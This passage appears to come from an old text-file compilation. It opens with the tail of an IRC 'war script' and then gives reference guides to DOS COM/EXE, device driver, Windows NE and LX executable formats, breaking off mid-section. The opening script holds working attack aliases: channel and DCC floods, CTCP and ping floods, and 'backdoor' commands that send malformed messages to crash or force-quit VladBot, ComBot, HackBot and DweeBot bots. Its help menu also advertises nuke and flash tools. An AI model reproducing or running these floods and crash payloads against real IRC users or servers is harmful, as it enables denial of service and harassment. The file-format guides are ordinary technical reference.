$FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 9 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 12 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 16 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR } EVAL ^timer 20 ^dcc raw $FB[0] $SR QUIT :$TSU EVAL ^timer 20 ^dcc raw $FB[1] $SR QUIT :$TSU EVAL ^timer 20 ^dcc raw $FB[2] $SR QUIT :$TSU } {/sxecho Error connecting to $SR\.} ^assign -FB[0] ^assign -FB[1] ^assign -FB[2] ^assign -SR ^assign -PT ^set -input_prompt } {/sxecho Usage: /FLOOD [] []} } ### BACKDOOR/BOT KILLER Add Ons (by Maeglar, Modified by Vassago) # Thanks go to the Knights of IRC for these interesting aliases. alias wskill { sxecho Sending WSIRC Kill to Channel $C\. //ctcp $C a } alias vkill1 { if ([$0]) { sxecho Trying to SIGSEV VladBot $0, please wait... //^dcc chat $0 //^msg $0 note create public time to die //^msg $0 note delline //^msg $0 note delline 8 if ([$1]) {/vkill1 $1-} } {/sxecho Usage: /VKILL1 .} } ALIAS VKILL2 { if ([$0]) { //dcc chat $0 //msg $0 note create public 4 m-eye frendz //msg $0 note delline 2 } {/sxecho Usage: /VKILL2 .} } alias vkill3 { if ([$0]) { //dcc chat $0 wait dccflood $0 ^timer 15 dccflood $0 ^timer 30 dccflood $0 } {/sxecho Usage: /VKILL3 .} } alias com1 { if ([$0]) { //^msg $0 dcc sxecho Trying to SIGSEV ComBot $0 with the DC bug... if ([$1]) {/com1 $1-} } {/sxecho Usage: /COM1 .} } alias com2 { if ([$0]) { //^msg $0 bleaht33h33bleah quit :SIGSEV - Fuck I'm a stupid dickhead like my owner. sxecho Trying to backdoor ComBot $0 to quit... if ([$1]) {/com2 $1-} } {/sxecho Usage: /COM2 .} } alias com3 { if ([$0]) { //^msg $0 seen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% sxecho Trying to SIGSEV ComBot $0 with the seen bug... if ([$1]) {/com3 $1-} } {/sxecho Usage: /COM3 .} } alias cc { if ([$0]) { //^msg $0  sxecho Trying to get ComBot command character from $0. if ([$1]) {/cc $1-} } {/sxecho Usage: /CC .} } alias hc { if ([$0]) { //^ctcp $0 cmdchar sxecho Trying to obtain HackBot command character from $0... if ([$1]) {/hc $1-} } {/sxecho Usage: /HC .} } alias dweeb { if ([$0]) { //^ctcp $0 ooook sxecho Trying to kill $0 with the DweeBot backdoor... if ([$1]) {/dweeb $1-} } {/sxecho Usage: /DWEEB .} } alias hackkill { if ([$2]) { sxecho Attempting to kill the hackbot $0\... sxecho If you have no DCC CHAT connection to $0\ this will not work. //^msg =$0 $1\stats $2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2 } { sxecho USAGE: /hackkill sxecho You can get the command character by typing /HC . sxecho You ALSO need to have an active DCC CHAT with . } } alias hackkill2 { if ([$0]) { sxecho Trying to SIGSEV HackBot $0\... //ctcp $0 ACTION } { sxecho Sending SIGSEV for HackBots to $C\... //ctcp $C ACTION } } ### WAR Help Commands alias pause2 { ^assign PAUSETEMP $"-Enter to Continue-" ^assign -PAUSETEMP } alias WARHELP { echo +----------------------------------------------------------------------+ echo | - + Scythe IRC Warscript by Vassago - Command HELP + - | echo +----------------------------------------------------------------------+ echo | /NICKMDOP - Does a mega deop with nick change, deops by 4. | echo | /K(name) - Sets a channel key bomb: /kdie, /kfont, /kinvert, | echo | /kinvert, /ksz, /kcls, /kfire, /kreset, /ksatan, /ktsunami. | echo | /CBOTS HELP - Gives you an extended help on the Serpent script | echo | clonebots collision killer. This killer uses script clonebots | echo | much like Vassago's Serpent Collision Script v2.12 did. | echo | /KILLHOST (server) - Changes the collision killer host to . | echo | /CLONE (bot # or ALL) (action) - Tells your clonebots to do .| echo | Type /CLONE HELP to view the examples and lists of actions. | echo | /CLONEBOTS HELP - Gives you an extended help on Clonebots & commands.| echo | /CLONESPY HELP - Gives you an extended help on Clonebots spy Levels. | echo | /OPCLONES - Ops all of YOUR clonebots on your current channel. | echo | /CK - Kills (disconnects) all clonebots. | echo | /ASSAULT (nick/#channel) - Starts an assault program, a really nasty | echo | one, on . This attempts to flood them off IRC. | echo | /TSUNAMI (nick/channel) - Dumps the TSUNAMI string to .| echo | /NICKFLOOD (#) - Does a random nick flood with numbers, changes <#>. | /pause2 echo | /DCCFLOOD (nick) - Sends a really nasty DCC CHAT flood to . | echo | /DCCBOMB (nick) - Sends a DCC autoget bomb to . | echo | /DCCTSUNAMI (nick) - Tsunamis with DCC SENDs. | echo | /PINGFLOOD (nick/channel) - Ping floods . | echo | /PONGFLOOD (nick) - Pong floods . | echo | /TOOLZBOMB (nick/channel) - CTCP ToolZ floods the person. | echo | /VERFLOOD (nick/channel) - CTCP VER floods the person. | echo | /MULTIFLOOD - Sends them a little of each type of flood. | echo | /SEDFLOOD - Floods with CTCP "SED" (Gives them Encrypted Message). | echo | /CTCPFLOOD (nick/channel) - CTCP CLIENTINFO Floods . | echo | /SERVFLOOD (server) (count) - Floods all umode +s people on .| echo | /FLASH (nick) - Flashes . You must have flash.c compiled | echo | to use. See variables at top of this script. | echo | /MFLASH (nick) - Mail flashes . You must have mflash.c. | echo | /MASSFLASH - Flashes everyone on your current channel. | echo | /NUKE (nick) - Nukes . You must have nuke.c compiled, in your | echo | current directory, and have root access to use this command. | echo | /SNUKE (server) - Nukes . (See above restrictions). | echo | Note: the default filenames, etc. for nuke and flash can be edited | echo | by manually changing the variables at the beginning of the script. | pause2 echo | +--+ CURRENT BACKDOOR ATTEMPTERS +---------------------------------+ | echo | /WSKILL - Kills all WSIRC users on your current channel. | echo | /VKILL1 - Attempts to SIGSEV VladBots. | echo | /VKILL2 - Kills newer vlad versions. | echo | /VKILL3 - Kills 3.01 vlad versions. | echo | /COM1 - Uses ComBot DCC SIGSEV. | echo | /COM2 - Uses ComBot bleaht33h33bleah Kill. | echo | /COM3 - Uses ComBot seen SIGSEV. | echo | /CC - Gets ComBot command character. | echo | /HC - Gets HackBot command character. | echo | /DWEEB - Attempts to Backdoor DweeBots. | echo | /HACKKILL - This will | echo | attempt to kill a HackBot also, but you need a DCC CHAT connection.| echo | /HACKKILL2 - Attempts to SIGSERV HackBots. | echo +----------------------------------------------------------------------+ } assign LOADING LOADING EVAL ^killhost $DEFAULTKILLHOST EVAL //^mode $N +i EVAL $srand($time()) EVAL ^assign JUNKSTR $tolower($encode($encode($encode($randcrap(2)$encode($encode($encode($randcrap(8)))))))) EVAL ^assign CJUNKSTR $randcrap(4) echo [S/X] For the latest versions of all Vassago's scripts you should FTP EVAL echo [S/X] to Vassago's Public Domain IRC site at jcowan.reslife.okstate.edu. echo [S/X] DO NOT use this script unless you get it directly from my FTP site! echo [S/X] SCYTHE IRC Warscript is now loaded. Type /WARHELP for HELP. []------------------[] -----------------------------------+ 06 - Guide to DOS .com executables | -----------------------------------+ COM Format Intel byte order Information from File Format List 2.0 by Max Maischein. --------!-CONTACT_INFO---------------------- If you notice any mistakes or omissions, please let me know! It is only with YOUR help that the list can continue to grow. Please send all changes to me rather than distributing a modified version of the list. This file has been authored in the style of the INTERxxy.* file list by Ralf Brown, and uses almost the same format. Please read the file FILEFMTS.1ST before asking me any questions. You may find that they have already been addressed. Max Maischein Max Maischein, 2:244/1106.17 Max_Maischein@spam.fido.de corion@informatik.uni-frankfurt.de Corion on #coders@IRC --------!-DISCLAIMER------------------------ DISCLAIMER: THIS MATERIAL IS PROVIDED "AS IS". I verify the information contained in this list to the best of my ability, but I cannot be held responsible for any problems caused by use or misuse of the information, especially for those file formats foreign to the PC, like AMIGA or SUN file formats. If an information it is marked "guesswork" or undocumented, you should check it carefully to make sure your program will not break with an unexpected value (and please let me know whether or not it works the same way). Information marked with "???" is known to be incomplete or guesswork. Some file formats were not released by their creators, others are regarded as proprietary, which means that if your programs deal with them, you might be looking for trouble. I don't care about this. -------------------------------------------- The COM files are raw binary executables and are a leftover from the old CP/M machines with 64K RAM. A COM program can only have a size of less than one segment (64K), including code and static data since no fixups for segment relocation or anything else is included. One method to check for a COM file is to check if the first byte in the file could be a valid jump or call opcode, but this is a very weak test since a COM file is not required to start with a jump or a call. In principle, a COM file is just loaded at offset 100h in the segment and then executed. OFFSET Count TYPE Description 0000h 1 byte ID=0E9h ID=0EBh Those are not safe ways to determine wether a file is a COM file or not, but most COM files start with a jump. []------------------[] -----------------------------------+ 07 - Guide to DOS .exe executables | -----------------------------------+ offset length description comments ---------------------------------------------------------------------- 0 word exe file signature usually 4d5a 2 word length of last used sector in file modulo 512 4 word size of file, incl. header in 512-pages 6 word number of relocation table items 8 word size of header in 16-byte paragraphs a word min. paragraphs needed above program in 16-byte paragraphs c word max. paragraphs needen above program in 16-byte paragraphs e word displacement of stack segment in module rel. to start of prog. 10 word contents of SP reg. at entry 12 word checksum 2's complement 14 word contents of IP reg. at entry 16 word displacement of code module rel. to start of prog. 18 word offset to first relocation item in file rel. to start of prog. 1a word overlay number 0 for resident prog. 1c varies variable RESERVED place varies varies relocation table varies varies variable RESERVED place varies varies program and data space varies varies stack segment The relocation table is a set of far pointers (eg: 1234:5678h) and it appears you just add the relocation factor to the value at that address. The relocation factor is the start segment of where the program is loaded. Example: ------------------------------------------------ code segment start: mov ax,seg _myseg code ends _myseg segment _myseg ends end start ------------------------------------------------- Start Stop Length Name Class 00000H 00002H 00003H CODE 00010H 00010H 00000H _MYSEG ------------------------------------------------- Note that _MYSEG is exactly one segment above CODE. Generated output is B8 01 00; which is "mov ax,0001" The fixup table for this file has a single entry, 0000:0001. Thus if the start of the program begins at segment 3562 then the "mov ax,0001" gets converted to "mov ax,3563". []------------------[] ---------------------------------+ 08 - Guide to DOS device drivers | ---------------------------------+ =========================================================================== From: BRIAN FRASER Refer#: NONE To: MATHIEU BOUCHARD Recvd: NO Subj: .SYS format. Conf: (99) 80xxxProgr --------------------------------------------------------------------------- Main Header: 00h word - Link to next driver, offset 02h word - Link to next driver, segment 04h word - Device Attribute 06h word - Strategy entry point, offset 0ah word - interrupt entry point, offset -- Character device -- 0ch 8 bytes - Logical Name -- Block device -- 0ch byte - Number of units Header Attribute word: bit 15 - 1= Character device; 0= Block device bit 14 - 1= IOCTL read and write supported -- Character device -- bit 13 - 1= Output until busy supported -- Block device -- bit 13 - 1= Check BIOS to determine media characteristics; 0= Media ID should be used instead bit 12 - should be 0 bit 11 - 1= if open/close/removable media supported bit 7-10 - 0 bit 6 - 1= if generic IOCTL and get/set logical drive supported bit 5 - 0 bit 4 - 1= if CON driver and int 29h fast-output supported bit 3 - 1= if current CLOCK$ device bit 2 - 1= if current NULL device -- Character device -- bit 1 - 1= if standard output device (stdout) -- Block device -- bit 1 - 1= if 32bit sector addressing supported bit 0 - 1= if current standard input device (stdin) Strategy Request Header: 00h byte - length of request header 01h byte - unit number for this request 02h byte - request headers command code 03h word - drivers return status 05h 8 bytes - ? (reserved) The rest of the header varies depending on what function is being called. I would think it's best to find a book, as I don't really want to type out all the different headers for each function. :) This book I am using is Advanced MS-DOS, Second Ed. Provided, it's a little out of date, but alot of the information is still the same. Plus, I got it for 8 bucks.. Can't complain for that price! :) Check out the book list. Heres just a little info on what the above headers are for... There are two different kinds of device drivers. Character, and Block. Character devices handle 1 character at a time, while Block devices deal with Blocks of data. Character devices can have a logical name like "MYSYS", which can be used like "CON" or "PRN" etc.. Block devices use units (drives), which are assigned upon install. The Main Header is the first few bytes of the SYS file, The link to next driver is to be -1:-1 (or FFFF:FFFF) unless there is more then one driver in this SYS file, then you set this to the next driver in the chain. BUT, the last driver must have FFFF:FFFF as the next driver, or you have big problems! :) The Device attribute is fairly strate forward. The strategy routine is a routine that is called my DOS with the address of the Request Header. All this routine has to do is save the address in a local memory location. The interrupt routine is then called after the strategy routine. The interrupt routine process the request header, and performs the requested function, and returns. If you can't find a book.. Maybe I'll type out the return attributes, and the info for each function. Brian []------------------[] --------------------------------------+ 08 - Guide to Windows New Executables | --------------------------------------+ Executable-File Header Format (3.1) An executable (.EXE) file for the Windows operating system contains a combination of code and data or a combination of code, data, and resources. The executable file also contains two headers: an MS-DOS header and a Windows header. The next two sections describe these headers; the third section describes the code and data contained in a Windows executable file. MS-DOS Header The MS-DOS (old-style) executable-file header contains four distinct parts: a collection of header information (such as the signature word, the file size, and so on), a reserved section, a pointer to a Windows header (if one exists), and a stub program. The following illustration shows the MS-DOS executable-file header: If the word value at offset 18h is 40h or greater, the word value at 3Ch is typically an offset to a Windows header. Applications must verify this for each executable-file header being tested, because a few applications have a different header style. MS-DOS uses the stub program to display a message if Windows has not been loaded when the user attempts to run a program. Windows Header The Windows (new-style) executable-file header contains information that the loader requires for segmented executable files. This information includes the linker version number, data specified by the linker, data specified by the resource compiler, tables of segment data, tables of resource data, and so on. The following illustration shows the Windows executable-file header: The following sections describe the entries in the Windows executable-file header. Information Block The information block in the Windows header contains the linker version number, the lengths of various tables that further describe the executable file, the offsets from the beginning of the header to the beginning of these tables, the heap and stack sizes, and so on. The following list summarizes the contents of the header information block (the locations are relative to the beginning of the block): Loc Description 00h The signature word. The low byte contains "N" (4Eh) and the high byte contains "E" (45h). 02h The linker version number. 03h The linker revision number. 04h The offset to the entry table (relative to the beginning of the header). 06h The length of the entry table, in bytes. 08h Reserved. 0Ch Flags that describe the contents of the executable file. This value can be one or more of the following bits: Bit Meaning 0 The linker sets this bit if the executable-file format is SINGLEDATA. An executable file with this format contains one data segment. This bit is set if the file is a dynamic-link library (DLL). 1 The linker sets this bit if the executable-file format is MULTIPLEDATA. An executable file with this format contains multiple data segments. This bit is set if the file is a Windows application. If neither bit 0 nor bit 1 is set, the executable-file format is NOAUTODATA. An executable file with this format does not contain an automatic data segment. 2 Reserved. 3 Reserved. 8 Reserved. 9 Reserved. 11 If this bit is set, the first segment in the executable file contains code that loads the application. 13 If this bit is set, the linker detects errors at link time but still creates an executable file. 14 Reserved. 15 If this bit is set, the executable file is a library module. If bit 15 is set, the CS:IP registers point to an initialization procedure called with the value in the AX register equal to the module handle. The initialization procedure must execute a far return to the caller. If the procedure is successful, the value in AX is nonzero. Otherwise, the value in AX is zero. The value in the DS register is set to the library's data segment if SINGLEDATA is set. Otherwise, DS is set to the data segment of the application that loads the library. 0Eh The automatic data segment number. (0Eh is zero if the SINGLEDATA and MULTIPLEDATA bits are cleared.) 10h The initial size, in bytes, of the local heap. This value is zero if there is no local allocation. 12h The initial size, in bytes, of the stack. This value is zero if the SS register value does not equal the DS register value. 14h The segment:offset value of CS:IP. 18h The segment:offset value of SS:SP. The value specified in SS is an index to the module's segment table. The first entry in the segment table corresponds to segment number 1. If SS addresses the automatic data segment and SP is zero, SP is set to the address obtained by adding the size of the automatic data segment to the size of the stack. 1Ch The number of entries in the segment table. 1Eh The number of entries in the module-reference table. 20h The number of bytes in the nonresident-name table. 22h A relative offset from the beginning of the Windows header to the beginning of the segment table. 24h A relative offset from the beginning of the Windows header to the beginning of the resource table. 26h A relative offset from the beginning of the Windows header to the beginning of the resident-name table. 28h A relative offset from the beginning of the Windows header to the beginning of the module-reference table. 2Ah A relative offset from the beginning of the Windows header to the beginning of the imported-name table. 2Ch A relative offset from the beginning of the file to the beginning of the nonresident-name table. 30h The number of movable entry points. 32h A shift count that is used to align the logical sector. This count is log2 of the segment sector size. It is typically 4, although the default count is 9. (This value corresponds to the /alignment [/a] linker switch. When the linker command line contains /a:16, the shift count is 4. When the linker command line contains /a:512, the shift count is 9.) 34h The number of resource segments. 36h The target operating system, depending on which bits are set: Bit Meaning 0 Operating system format is unknown. 1 Reserved. 2 Operating system is Microsoft Windows. 3 Reserved. 4 Reserved. 37h Additional information about the executable file. It can be one or more of the following values: Bit Meaning 1 If this bit is set, the executable file contains a Windows 2.x application that runs in version 3.x protected mode. 2 If this bit is set, the executable file contains a Windows 2.x application that supports proportional fonts. 3 If this bit is set, the executable file contains a fast-load area. 38h The offset, in sectors, to the beginning of the fast-load area. (Only Windows uses this value.) 3Ah The length, in sectors, of the fast-load area. (Only Windows uses this value.) 3Ch Reserved. 3Eh The expected version number for Windows. (Only Windows uses this value.) Segment Table The segment table contains information that describes each segment in an executable file. This information includes the segment length, segment type, and segment-relocation data. The following list summarizes the values found in the segment table (the locations are relative to the beginning of each entry): Loc Description 00h The offset, in sectors, to the segment data (relative to the beginning of the file). A value of zero means no data exists. 02h The length, in bytes, of the segment, in the file. A value of zero indicates that the segment length is 64K, unless the selector offset is also zero. 04h Flags that describe the contents of the executable file. This value can be one or more of the following: Bit Meaning 0 If this bit is set, the segment is a data segment. Otherwise, the segment is a code segment. 1 If this bit is set, the loader has allocated memory for the segment. 2 If this bit is set, the segment is loaded. 3 Reserved. 4 If this bit is set, the segment type is MOVABLE. Otherwise, the segment type is FIXED. 5 If this bit is set, the segment type is PURE or SHAREABLE. Otherwise, the segment type is IMPURE or NONSHAREABLE. 6 If this bit is set, the segment type is PRELOAD. Otherwise, the segment type is LOADONCALL. 7 If this bit is set and the segment is a code segment, the segment type is EXECUTEONLY. If this bit is set and the segment is a data segment, the segment type is READONLY. 8 If this bit is set, the segment contains relocation data. 9 Reserved. 10 Reserved. 11 Reserved. 12 If this bit is set, the segment is discardable. 13 Reserved. 14 Reserved. 15 Reserved. 06h The minimum allocation size of the segment, in bytes. A value of zero indicates that the minimum allocation size is 64K. Resource Table The resource table describes and identifies the location of each resource in the executable file. Following are the members in the resource table: rscAlignShift The alignment shift count for resource data. When the shift count is used as an exponent of 2, the resulting value specifies the factor, in bytes, for computing the location of a resource in the executable file. rscTypes An array of TTYPEINFO structures containing information about resource types. There must be one TTYPEINFO structure for each type of resource in the executable file. rscEndTypes The end of the resource type definitions. This member must be zero. rscResourceNames The names (if any) associated with the resources in this table. Each name is stored as consecutive bytes; the first byte specifies the number of characters in the name. rscEndNames The end of the resource names and the end of the resource table. This member must be zero. Type Information Following are the members in the TTYPEINFO structure: rtTypeID The type identifier of the resource. This integer value is either a resource-type value or an offset to a resource-type name. If the high bit in this member is set (0x8000), the value is one of the following resource-type values: Value Resource type RT_ACCELERATOR Accelerator table RT_BITMAP Bitmap RT_CURSOR Cursor RT_DIALOG Dialog box RT_FONT Font component RT_FONTDIR Font directory RT_GROUP_CURSOR Cursor directory RT_GROUP_ICON Icon directory RT_ICON Icon RT_MENU Menu RT_RCDATA Resource data RT_STRING String table If the high bit of the value in this member is not set, the value represents an offset, in bytes relative to the beginning of the resource table, to a name in the rscResourceNames member. rtResourceCount The number of resources of this type in the executable file. rtReserved Reserved. rtNameInfo An array of TNAMEINFO structures containing information about individual resources. The rtResourceCount member specifies the number of structures in the array. Name Information Following are the members in the TNAMEINFO structure: rnOffset An offset to the contents of the resource data (relative to the beginning of the file). The offset is in terms of alignment units specified by the rscAlignShift member at the beginning of the resource table. rnLength The resource length, in bytes. rnFlags Whether the resource is fixed, preloaded, or shareable. This member can be one or more of the following values: Value Meaning 0x0010 Resource is movable (MOVEABLE). Otherwise, it is fixed. 0x0020 Resource can be shared (PURE). 0x0040 Resource is preloaded (PRELOAD). Otherwise, it is loaded on demand. rnID Specifies or points to the resource identifier. If the identifier is an integer, the high bit is set (8000h). Otherwise, it is an offset to a resource string, relative to the beginning of the resource table. rnHandle Reserved. rnUsage Reserved. Resident-Name Table The resident-name table contains strings that identify exported functions in the executable file. As the name implies, these strings are resident in system memory and are never discarded. The resident-name strings are case-sensitive and are not null-terminated. The following list summarizes the values found in the resident-name table (the locations are relative to the beginning of each entry): Location Description 00h The length of a string. If there are no more strings in the table, this value is zero. 01h - xxh The resident-name text. This string is case-sensitive and is not null-terminated. xxh + 01h An ordinal number that identifies the string. This number is an index into the entry table. The first string in the resident-name table is the module name. Module-Reference Table The module-reference table contains offsets for module names stored in the imported-name table. Each entry in this table is 2 bytes long. Imported-Name Table The imported-name table contains the names of modules that the executable file imports. Each entry contains two parts: a single byte that specifies the length of the string and the string itself. The strings in this table are not null-terminated. Entry Table The entry table contains bundles of entry points from the executable file (the linker generates each bundle). The numbering system for these ordinal values is 1-based--that is, the ordinal value corresponding to the first entry point is 1. The linker generates the densest possible bundles under the restriction that it cannot reorder the entry points. This restriction is necessary because other executable files may refer to entry points within a given bundle by their ordinal values. The entry-table data is organized by bundle, each of which begins with a 2-byte header. The first byte of the header specifies the number of entries in the bundle (a value of 00h designates the end of the table). The second byte specifies whether the corresponding segment is movable or fixed. If the value in this byte is 0FFh, the segment is movable. If the value in this byte is 0FEh, the entry does not refer to a segment but refers, instead, to a constant defined within the module. If the value in this byte is neither 0FFh nor 0FEh, it is a segment index. For movable segments, each entry consists of 6 bytes and has the following form: Loc Description 00h Specifies a byte value. This value can be a combination of the following bits: Bit(s) Meaning 0 If this bit is set, the entry is exported. 1 If this bit is set, the segment uses a global (shared) data segment. 3-7 If the executable file contains code that performs ring transitions, these bits specify the number of words that compose the stack. At the time of the ring transition, these words must be copied from one ring to the other. 01h An int 3fh instruction. 03h The segment number. 04h The segment offset. For fixed segments, each entry consists of 3 bytes and has the following form: Loc Description 00h Specifies a byte value. This value can be a combination of the following bits: Bit(s) Meaning 0 If this bit is set, the entry is exported. 1 If this bit is set, the entry uses a global (shared) data segment. (This may be set only for SINGLEDATA library modules.) 3-7 If the executable file contains code that performs ring transitions, these bits specify the number of words that compose the stack. At the time of the ring transition, these words must be copied from one ring to the other. 01h Specifies an offset. Nonresident-Name Table The nonresident-name table contains strings that identify exported functions in the executable file. As the name implies, these strings are not always resident in system memory and are discardable. The nonresident-name strings are case-sensitive; they are not null-terminated. The following list summarizes the values found in the nonresident-name table (the specified locations are relative to the beginning of each entry): Location Description 00h The length, in bytes, of a string. If this byte is 00h, there are no more strings in the table. 01h - xxh The nonresident-name text. This string is case-sensitive and is not null-terminated. xx + 01h An ordinal number that is an index to the entry table. The first name that appears in the nonresident-name table is the module description string (which was specified in the module-definition file). Code Segments and Relocation Data Code and data segments follow the Windows header. Some of the code segments may contain calls to functions in other segments and may, therefore, require relocation data to resolve those references. This relocation data is stored in a relocation table that appears immediately after the code or data in the segment. The first 2 bytes in this table specify the number of relocation items the table contains. A relocation item is a collection of bytes specifying the following information: - Address type (segment only, offset only, segment and offset) - Relocation type (internal reference, imported ordinal, imported name) - Segment number or ordinal identifier (for internal references) - Reference-table index or function ordinal number (for imported ordinals) - Reference-table index or name-table offset (for imported names) Each relocation item contains 8 bytes of data, the first byte of which specifies one of the following relocation-address types: Value Meaning 0 Low byte at the specified offset 2 16-bit selector 3 32-bit pointer 5 16-bit offset 11 48-bit pointer 13 32-bit offset The second byte specifies one of the following relocation types: Value Meaning 0 Internal reference 1 Imported ordinal 2 Imported name 3 OSFIXUP The third and fourth bytes specify the offset of the relocation item within the segment. If the relocation type is imported ordinal, the fifth and sixth bytes specify an index to a module's reference table and the seventh and eighth bytes specify a function ordinal value. If the relocation type is imported name, the fifth and sixth bytes specify an index to a module's reference table and the seventh and eighth bytes specify an offset to an imported-name table. If the relocation type is internal reference and the segment is fixed, the fifth byte specifies the segment number, the sixth byte is zero, and the seventh and eighth bytes specify an offset to the segment. If the relocation type is internal reference and the segment is movable, the fifth byte specifies 0FFh, the sixth byte is zero; and the seventh and eighth bytes specify an ordinal value found in the segment's entry table. []------------------[] --------------------------------------+ 09 - Guide to Windows New Executables | --------------------------------------+ I'd like to point out that Windows uses the 'LE' signature and that OS/2 uses the 'LX' signature although the rest of the header is the same format. LX - Linear eXecutable Module Format Description June 3, 1992 Figure 1. 32-bit Linear EXE File Layout 00h +------------------+ <--+ | DOS 2 Compatible | | | EXE Header | | 1Ch +------------------+ | | unused | | +------------------+ | 24h | OEM Identifier | | 26h | OEM Info | | | | |-- DOS 2.0 Section 3Ch | Offset to | | (Discarded) | Linear EXE | | | Header | | 40h +------------------+ | | DOS 2.0 Stub | | | Program & | | | Reloc. Table | | +------------------+ <--+ | | xxh +------------------+ <--+ | Executable | | | Info | | +------------------+ | | Module | | | Info | | +------------------+ |-- Linear Executable | Loader Section | | Module Header | Info | | (Resident) +------------------+ | | Table Offset | | | Info | | +------------------+ <--+ | Object Table | | +------------------+ | | Object Page Table| | +------------------+ | | Resource Table | | +------------------+ | | Resident Name | | | Table | | +------------------+ |-- Loader Section | Entry Table | | (Resident) +------------------+ | | Module Format | | | Directives Table | | | (Optional) | | +------------------+ | | Resident | | | Directives Data | | | (Optional) | | | | | | (Verify Record) | | +------------------+ | | Per-Page | | | Checksum | | +------------------+ <--+ | Fixup Page Table | | +------------------+ | | Fixup Record | | | Table | | +------------------+ |-- Fixup Section | Import Module | | (Optionally Resident) | Name Table | | +------------------+ | | Import Procedure | | | Name Table | | +------------------+ <--+ | Preload Pages | | +------------------+ | | Demand Load | | | Pages | | +------------------+ | | Iterated Pages | | +------------------+ | | Non-Resident | |-- (Non-Resident) | Name Table | | +------------------+ | | Non-Resident | | | Directives Data | | | (Optional) | | | | | | (To be Defined) | | +------------------+ <--+ | Debug Info | |-- (Not used by Loader) +------------------+ <--+ Figure 2. 32-bit Linear EXE Header +-----+-----+-----+-----+-----+-----+-----+-----+ 00h | "L" "X" |B-ORD|W-ORD| FORMAT LEVEL | +-----+-----+-----+-----+-----+-----+-----+-----+ 08h | CPU TYPE | OS TYPE | MODULE VERSION | +-----+-----+-----+-----+-----+-----+-----+-----+ 10h | MODULE FLAGS | MODULE # OF PAGES | +-----+-----+-----+-----+-----+-----+-----+-----+ 18h | EIP OBJECT # | EIP | +-----+-----+-----+-----+-----+-----+-----+-----+ 20h | ESP OBJECT # | ESP | +-----+-----+-----+-----+-----+-----+-----+-----+ 28h | PAGE SIZE | PAGE OFFSET SHIFT | +-----+-----+-----+-----+-----+-----+-----+-----+ 30h | FIXUP SECTION SIZE | FIXUP SECTION CHECKSUM| +-----+-----+-----+-----+-----+-----+-----+-----+ 38h | LOADER SECTION SIZE |LOADER SECTION CHECKSUM| +-----+-----+-----+-----+-----+-----+-----+-----+ 40h | OBJECT TABLE OFF | # OBJECTS IN MODULE | +-----+-----+-----+-----+-----+-----+-----+-----+ 48h | OBJECT PAGE TABLE OFF | OBJECT ITER PAGES OFF | +-----+-----+-----+-----+-----+-----+-----+-----+ 50h | RESOURCE TABLE OFFSET |#RESOURCE TABLE ENTRIES| +-----+-----+-----+-----+-----+-----+-----+-----+ 58h | RESIDENT NAME TBL OFF | ENTRY TABLE OFFSET | +-----+-----+-----+-----+-----+-----+-----+-----+ 60h | MODULE DIRECTIVES OFF | # MODULE DIRECTIVES | +-----+-----+-----+-----+-----+-----+-----+-----+ 68h | FIXUP PAGE TABLE OFF |FIXUP RECORD TABLE OFF | +-----+-----+-----+-----+-----+-----+-----+-----+ 70h | IMPORT MODULE TBL OFF | # IMPORT MOD ENTRIES | +-----+-----+-----+-----+-----+-----+-----+-----+ 78h | IMPORT PROC TBL OFF | PER-PAGE CHECKSUM OFF | +-----+-----+-----+-----+-----+-----+-----+-----+ 80h | DATA PAGES OFFSET | #PRELOAD PAGES | +-----+-----+-----+-----+-----+-----+-----+-----+ 88h | NON-RES NAME TBL OFF | NON-RES NAME TBL LEN | +-----+-----+-----+-----+-----+-----+-----+-----+ 90h | NON-RES NAME TBL CKSM | AUTO DS OBJECT # | +-----+-----+-----+-----+-----+-----+-----+-----+ 98h | DEBUG INFO OFF | DEBUG INFO LEN | +-----+-----+-----+-----+-----+-----+-----+-----+ A0h | #INSTANCE PRELOAD | #INSTANCE DEMAND | +-----+-----+-----+-----+-----+-----+-----+-----+ A8h | HEAPSIZE | +-----+-----+-----+-----+ Note: The OBJECT ITER PAGES OFF must either be 0 or set to the same value as DATA PAGES OFFSET in OS/2 2.0. Ie., iterated pages are required to be in the same section of the file as regular pages. Note: Table offsets in the Linear EXE Header may be set to zero to indicate that the table does not exist in the EXE file and it's size is zero. "L" "X" = DW Signature word. The signature word is used by the loader to identify the EXE file as a valid 32-bit Linear Executable Module Format. "L" is low order byte. "X" is high order byte. B-ORD = DB Byte Ordering. This byte specifies the byte ordering for the linear EXE format. The values are: 00H - Little Endian Byte Ordering. 01H - Big Endian Byte Ordering. W-ORD = DB Word Ordering. This byte specifies the Word ordering for the linear EXE format. The values are: 00H - Little Endian Word Ordering. 01H - Big Endian Word Ordering. Format Level = DD Linear EXE Format Level. The Linear EXE Format Level is set to 0 for the initial version of the 32-bit linear EXE format. Each incompatible change to the linear EXE format must increment this value. This allows the system to recognized future EXE file versions so that an appropriate error message may be displayed if an attempt is made to load them. CPU Type = DW Module CPU Type. This field specifies the type of CPU required by this module to run. The values are: 01H - 80286 or upwardly compatible CPU is required to execute this module. 02H - 80386 or upwardly compatible CPU is required to execute this module. 03H - 80486 or upwardly compatible CPU is required to execute this module. OS Type = DW Module OS Type. This field specifies the type of Operating system required to run this module. The currently defined values are: 00H - Unknown (any "new-format" OS) 01H - OS/2 (default) 02H - Windows 03H - DOS 4.x 04H - Windows 386 MODULE VERSION = DD Version of the linear EXE module. This is useful for differentiating between revisions of dynamic linked modules. This value is specified at link time by the user. MODULE FLAGS = DD Flag bits for the module. The module flag bits have the following definitions. 00000001h = Reserved for system use. 00000002h = Reserved for system use. 00000004h = Per-Process Library Initialization. The setting of this bit requires the EIP Object # and EIP fields to have valid values. If the EIP Object # and EIP fields are valid and this bit is NOT set, then Global Library Initialization is assumed. Setting this bit for an EXE file is invalid. 00000008h = Reserved for system use. 00000010h = Internal fixups for the module have been applied. The setting of this bit in a Linear Executable Module indicates 